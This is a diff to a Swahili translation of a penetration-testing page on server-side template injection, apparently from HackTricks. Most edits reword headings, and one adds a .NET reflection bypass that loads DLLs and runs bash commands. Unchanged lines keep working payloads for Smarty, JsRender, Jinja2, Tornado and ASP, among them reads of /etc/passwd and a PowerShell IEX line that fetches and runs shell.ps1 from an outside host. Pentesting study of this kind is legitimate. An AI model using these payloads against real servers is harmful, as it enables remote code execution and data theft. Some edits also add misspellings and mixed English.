@@ -427,7 +427,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3
```
-**Maelezo zaidi**
+**Taarifa zaidi**
- Katika sehemu ya Smarty ya [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty)
@@ -481,9 +481,9 @@ array("first_name" => $user.first_name)
### Plates (PHP)
-Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota msukumo kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
+Plates ni injini ya kutengeneza mifano asilia kwa PHP, ikichota inspiraration kutoka Twig. Hata hivyo, tofauti na Twig, ambayo inintroduce sintaksia mpya, Plates inatumia msimbo wa asili wa PHP katika mifano, na kuifanya iwe rahisi kwa waendelezaji wa PHP.
-Msimamizi:
+Controller:
```php
// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');
@@ -491,14 +491,14 @@ $templates = new League\Plates\Engine('/path/to/templates');
// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);
```
-Sampuli ya ukurasa:
+Page template:
```php
layout('template', ['title' => 'User Profile']) ?>
User Profile
Hello, =$this->e($name)?>
```
-Sanjari la muundo:
+Sura ya mpangilio:
```html
@@ -683,7 +683,7 @@ URLencoded:
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
-**Taarifa zaidi**
+**Maelezo zaidi**
- [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)
@@ -707,7 +707,7 @@ home = pugjs.render(injected_page)
- \{{7\*7\}} = 49
- \{{foo\}} = Hakuna matokeo
- \#{7\*7} = #{7\*7}
-- \{{console.log(1)\}} = Hitilafu
+- \{{console.log(1)\}} = Kosa
```javascript
{
{
@@ -806,7 +806,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
{{os.system('whoami')}}
{{os.system('whoami')}}
```
-**Maelezo zaidi**
+**Taarifa zaidi**
- [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
@@ -814,7 +814,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
[Website rasmi](http://jinja.pocoo.org)
-> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox ambayo ni hiari, inatumika sana na ina leseni ya BSD.
+> Jinja2 ni injini ya templeti yenye vipengele kamili kwa Python. Ina msaada kamili wa unicode, mazingira ya utekelezaji yaliyojumuishwa na sandbox, inatumika sana na ina leseni ya BSD.
- `{{7*7}} = Hitilafu`
- `${7*7} = ${7*7}`
@@ -856,7 +856,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
```
-[**RCE si inategemea**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
+[**RCE si tegemezi kutoka**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
@@ -867,7 +867,7 @@ Angalia ukurasa ufuatao kujifunza mbinu kuhusu **kuepuka utekelezaji wa amri zis
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
-**Maelezo zaidi kuhusu jinsi ya kutumia Jinja**:
+**Maelezo zaidi kuhusu jinsi ya kutumia Jinja vibaya**:
{{#ref}}
jinja2-ssti.md
@@ -924,10 +924,27 @@ Mbinu ya .NET `System.Diagnostics.Process.Start` inaweza kutumika kuanzisha mcha
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
-**Maelezo Zaidi**
+**Taarifa Zaidi**
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
+### .Net Kupita vizuizi
+
+Mekanismu za .NET Reflection zinaweza kutumika kupita orodha ya vizuizi au madarasa yasiyokuwepo katika mkusanyiko. DLL zinaweza kupakiwa wakati wa utekelezaji na mbinu na mali zinazopatikana kutoka kwa vitu vya msingi.
+
+Dll zinaweza kupakiwa kwa:
+
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - kutoka kwa mfumo wa faili.
+- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - moja kwa moja kutoka kwa ombi.
+
+Utekelezaji kamili wa amri:
+```
+{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
+```
+**Maelezo Zaidi**
+
+- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
+
### Mojolicious (Perl)
Hata kama ni perl inatumia lebo kama ERB katika Ruby.
@@ -938,27 +955,27 @@ Hata kama ni perl inatumia lebo kama ERB katika Ruby.
<%= perl code %>
<% perl code %>
```
-### SSTI katika GO
+### SSTI in GO
Katika injini ya templeti ya Go, uthibitisho wa matumizi yake unaweza kufanywa kwa kutumia payload maalum:
-- `{{ . }}`: Inaonyesha muundo wa data ulioingizwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
+- `{{ . }}`: Inaonyesha muundo wa data uliowekwa. Kwa mfano, ikiwa kitu chenye sifa ya `Password` kinapewa, `{{ .Password }}` kinaweza kukifichua.
- `{{printf "%s" "ssti" }}`: Inatarajiwa kuonyesha string "ssti".
- `{{html "ssti"}}`, `{{js "ssti"}}`: Payload hizi zinapaswa kurudisha "ssti" bila kuongeza "html" au "js". Maelekezo zaidi yanaweza kuchunguzwa katika nyaraka za Go [hapa](https://golang.org/pkg/text/template).
-**Ushambuliaji wa XSS**
+**XSS Exploitation**
Kwa kutumia pakiti ya `text/template`, XSS inaweza kuwa rahisi kwa kuingiza payload moja kwa moja. Kinyume chake, pakiti ya `html/template` inakodisha jibu ili kuzuia hili (kwa mfano, `{{""}}` inasababisha `<script>alert(1)</script>`). Hata hivyo, ufafanuzi wa templeti na mwito katika Go unaweza kupita kodishaji hii: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
vbnet Copy code
-**Ushambuliaji wa RCE**
+**RCE Exploitation**
-Ushambuliaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
+Ushughulikiaji wa RCE unatofautiana sana kati ya `html/template` na `text/template`. Moduli ya `text/template` inaruhusu kuita kazi yoyote ya umma moja kwa moja (kwa kutumia thamani ya “call”), ambayo hairuhusiwi katika `html/template`. Nyaraka za moduli hizi zinapatikana [hapa kwa html/template](https://golang.org/pkg/html/template/) na [hapa kwa text/template](https://golang.org/pkg/text/template/).
-Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kufanikisha hili, kama katika mfano uliopewa:
+Kwa RCE kupitia SSTI katika Go, mbinu za kitu zinaweza kuitwa. Kwa mfano, ikiwa kitu kilichotolewa kina mbinu ya `System` inayotekeleza amri, kinaweza kutumika kama `{{ .System "ls" }}`. Kufikia msimbo wa chanzo mara nyingi kunahitajika ili kutekeleza hili, kama katika mfano uliopewa:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
@@ -980,7 +997,7 @@ Angalia sehemu nyingine ya [https://github.com/swisskyrepo/PayloadsAllTheThings/
EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf
{{#endfile}}
-## Msaada Husika
+## Msaada Unaohusiana
Ikiwa unafikiri inaweza kuwa na manufaa, soma:
@@ -994,7 +1011,7 @@ Ikiwa unafikiri inaweza kuwa na manufaa, soma:
- [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
- [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)
-## Orodha ya Kugundua Brute-Force
+## Orodha ya Ugunduzi wa Brute-Force
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt